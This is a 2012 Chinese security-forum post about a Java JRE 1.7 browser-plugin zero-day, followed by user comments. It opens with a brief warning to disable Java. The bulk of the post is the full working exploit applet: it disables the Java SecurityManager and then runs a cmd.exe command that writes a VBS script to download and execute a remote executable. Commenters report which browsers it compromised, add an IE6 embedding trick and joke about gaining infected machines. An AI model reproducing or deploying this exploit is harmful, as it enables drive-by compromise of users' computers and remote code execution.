捕获到最新的Java 0day漏洞。该漏洞影响浏览器的JRE[1.7.x]插件,危害巨大;攻击者可利用该漏洞进行挂马攻击,进而控制网民用户的计算机。目前,该漏洞的利用代码已被公开,而官方尚未发布任何补丁;在补丁发布之前,我们建议用户卸载或禁用JRE。
package cve2012_java_0day; import java.applet.Applet; import java.awt.Graphics; import java.beans.Expression; import java.beans.Statement; import java.lang.reflect.Field; import java.net.URL; import java.security.*; import java.security.cert.Certificate; public class Gondvv extends Applet { public Gondvv() { } public void disableSecurity() throws Throwable { Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]); Permissions localPermissions = new Permissions(); localPermissions.add(new AllPermission()); ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions); AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] { localProtectionDomain }); SetField(Statement.class, "acc", localStatement, localAccessControlContext); localStatement.execute(); } private Class GetClass(String paramString) throws Throwable { Object arrayOfObject[] = new Object[1]; arrayOfObject[0] = paramString; Expression localExpression = new Expression(Class.class, "forName", arrayOfObject); localExpression.execute(); return (Class)localExpression.getValue(); } private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2) throws Throwable { Object arrayOfObject[] = new Object[2]; arrayOfObject[0] = paramClass; arrayOfObject[1] = paramString; Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject); localExpression.execute(); ((Field)localExpression.getValue()).set(paramObject1, paramObject2); } public void init() { try { disableSecurity(); Process localProcess = null; String command="cmd.exe /c echo Const adTypeBinary = 1 > d:\\apsou.vbs & echo Const adSaveCreateOverWrite = 2 >> d:\\apsou.vbs & echo Dim BinaryStream >> d:\\apsou.vbs & echo Set BinaryStream = CreateObject(\"ADODB.Stream\") >> d:\\apsou.vbs & echo BinaryStream.Type = adTypeBinary >> d:\\apsou.vbs & echo BinaryStream.Open >> d:\\apsou.vbs & echo BinaryStream.Write BinaryGetURL(Wscript.Arguments(0)) >> d:\\apsou.vbs & echo BinaryStream.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite >> d:\\apsou.vbs & echo Function BinaryGetURL(URL) >> d:\\apsou.vbs & echo Dim Http >> d:\\apsou.vbs & echo Set Http = CreateObject(\"WinHttp.WinHttpRequest.5.1\") >> d:\\apsou.vbs & echo Http.Open \"GET\", URL, False >> d:\\apsou.vbs & echo Http.Send >> d:\\apsou.vbs & echo BinaryGetURL = Http.ResponseBody >> d:\\apsou.vbs & echo End Function >> d:\\apsou.vbs & echo Set shell = CreateObject(\"WScript.Shell\") >> d:\\apsou.vbs & echo shell.Run \"d:\\update.exe\" >> d:\\apsou.vbs " + "& start d:\\apsou.vbs http://192.168.1.41/calc.exe d:\\windows\\1.exe"; localProcess = Runtime.getRuntime().exec(command); //C:\\Users\\hp\\workspace\\cve2012_java_0day\\src\\cve2012_java_0day\\calc.exe //calc.exe if(localProcess != null); localProcess.waitFor(); } catch(Throwable localThrowable) { localThrowable.printStackTrace(); } } public void paint(Graphics paramGraphics) { paramGraphics.drawString("Loading", 50, 25); } }
另一个版本:jre 远程代码执行 0day,可进行挂马攻击
网友评论:
gainover (">_< ' / & \ 看啥,没见过跨站字符么) | 2012-08-27 19:39
测试有的可弹calc,有的机器貌似弹不出来,我自己一个IE9的电脑,直接自动跳转到出错页了。
imlonghao (imlonghao.com) | 2012-08-27 20:28
果断禁用爪哇
shine (shield) | 2012-08-27 20:47
刚稍微测试了一下,jre7成功(jre6没成功)+firefox成功(ie6没成功,不过我的ie6不是默认安全设置的,可能是这个影响!)
livers (如梦似幻) | 2012-08-27 20:54
刚稍微测试了一下 jre1.7.0_01-b08 FF+chrome+IE9+IE8 success OS:win64
冷冷的夜 (从前有个人,他不喜欢我;后来,他死了) | 2012-08-27 21:59
一夜之间忽然又多了许多肉鸡么,(*^__^*)
shine (shield) | 2012-08-28 11:02
@shine IE6也通过(先前原因,是IE6没有绑定Java插件无法运行Applet(在控制面板手动设置IE6绑定Java插件)。本地测试,正常点击html运行Applet导致无法load到class文件(会报一个路径问题),所以不是IE6默认安全设置问题);另外,只有jre7.x才会有此问题,不是所有版本!
GaRY | 2012-08-28 12:32
@xsser 其实这个还牵扯到云安全领域。因为都是securitymanager做的限制,所以类似的机制漏洞也可以在PaaS云平台上做尝试。
xsser (十根阳具有长短,世上人多心不齐) | 2012-08-28 12:43
@GaRY Good!
啤酒 (xx) | 2012-08-28 12:54
不会用啊..唉
rayh4c (请不要叫我茄子。) | 2012-08-28 13:00
@shine
IE6下这样
<EMBED type="application/x-java-applet" code="xx.class" archive="xx.jar">
shine (shield) | 2012-08-28 13:14
@rayh4c 恩!这样也可以(更换成EMBED标签,指定路径)!主要是IE6如果不绑定java,默认是使用Microsoft VM。另外,我发现一个问题,IE6下禁止掉“Java 小程序脚本”还是会运行,必须禁止掉VM中“java权限”用户浏览器才可以拦截掉攻击?
笔墨 (= =看什么看,没见过双眼皮么?) | 2012-08-28 09:23
这漏洞总归还是鸡肋,普通用户根本不会装Java。谁会为了开个来路不明的url花半个小时去装Java。
king | 2012-08-28 09:32
这jre那年不爆了 这就算 jre一种特性了!!!本身就带这个功能的!!!
Henry:bobo (饿了吃 困了睡 想家就在被子里面哭) | 2012-08-28 10:45
@蟋蟀哥哥 - -程序猿喜欢装
tmp | 2012-08-28 10:58
@笔墨 这个你就没经验了... 类似深度之类的系统.默认都是装了的
相关内容:
Java 0day,该漏洞影响浏览器的JRE[1.7.x]插件,可进行挂马攻击
Java 0day,Jre 远程代码执行,简单测试、简要分析
留言评论(旧系统):